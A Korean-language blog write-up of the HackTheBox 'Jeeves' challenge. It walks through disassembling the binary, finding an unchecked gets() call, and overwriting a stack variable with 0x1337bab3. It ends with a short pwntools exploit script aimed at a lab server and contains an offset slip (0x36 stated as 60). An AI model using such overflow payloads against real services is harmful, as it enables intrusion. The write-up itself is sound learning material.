Jeeves - 1 - (HackTheBox)

2023. 2. 24. 21:36Pwnable/HackTheBox_ Intro to Binary Exploitation

해당문제는 HackTheBox Intro to Binary Exploitation 트랙 문제입니다.

 

HackTheBox 문제를 처음으로 풀게 되었다.

 

 

여기는 특이하게도 소스코드를 주지 않아서 좀 많이 빡셌다..

 

---> 알아보니 원래 소스코드를 안 주는게 전형적인 방식이었다.. 내가 너무 초짜인걸 티냈닿ㅎㅎ

 

이러한 문제들을 많이 풀면서 어셈블리에 좀 익숙해졌으면 한다.

 

 

디버깅 하지 않은채로 확인할 수 있는 함수들은 다음과 같다.

 

실행 화면은 아래와 같다.

 

 

이름을 입력 받고 좋은 하루를 보내라는 문구를 띄운다.

 

메인함수를 뜯어보면 다음과 같이 볼 수 있다.

 

내가 집중해서 본 부분은 이쪽이다.

 

gets 함수를 통해 받아오는 걸 확인할 수 있다. 이를 통해 이름 값을 ㅂㄷ는 곳을 확인할 수 있다.

 

이후 cmp rbp-0x4 와 0x1337bab3 을 비교하는 연산 cmp를 한다.

 

만약 소스코드를 주어준 문재라면 

 

if (rbp-0x4 == 0x1337bab3) {

 

 플래그 출력하기

}

대충 이런꼴로 되어있지 않을까 생각했다.

 

혹시 몰라서 ida로 까서 확인해 보았다.

 

 

 내 예상이 맞았다.

 

rbp - 0x4 와 rbp - 0x40 에 거리는 0x36이다.

 

0x36 은  60이다.

 

즉 거리는 값은 60이므로

 

더미 값 60 + 1337BAB3 값을 넣으면 되지 않을까 싶었다.

 

우선적으로 버퍼 오버 플로우를 일으켜 값이 변경되는 확인을 해야 했기에 임의 값을 넣고 확인해 보았다.

 

 

A 64를 넣었을때 값이 변경되는 걸 확인할 수 있었다.

 

이를 통해 cmp 연산에 맞게 값을 넣으면 됬다.

 

그렇게 작성한 익스플로잇 코드는 다음과 같다.

 

from pwn import *


p = remote('142.93.33.226', 30636)


payload = b'A' * 60

flag = 0x1337bab3

payload += p32(flag)


p.sendline(payload)


data = p.recv(100)

print(data)

p.interactive()

 

그렇게 flag를 얻을 수 있다 !

'Pwnable > HackTheBox_ Intro to Binary Exploitation' 카테고리의 다른 글

-Reg- HackTheBox  (0) 2023.03.05
batcomputer -2- HackTheBox  (0) 2023.02.25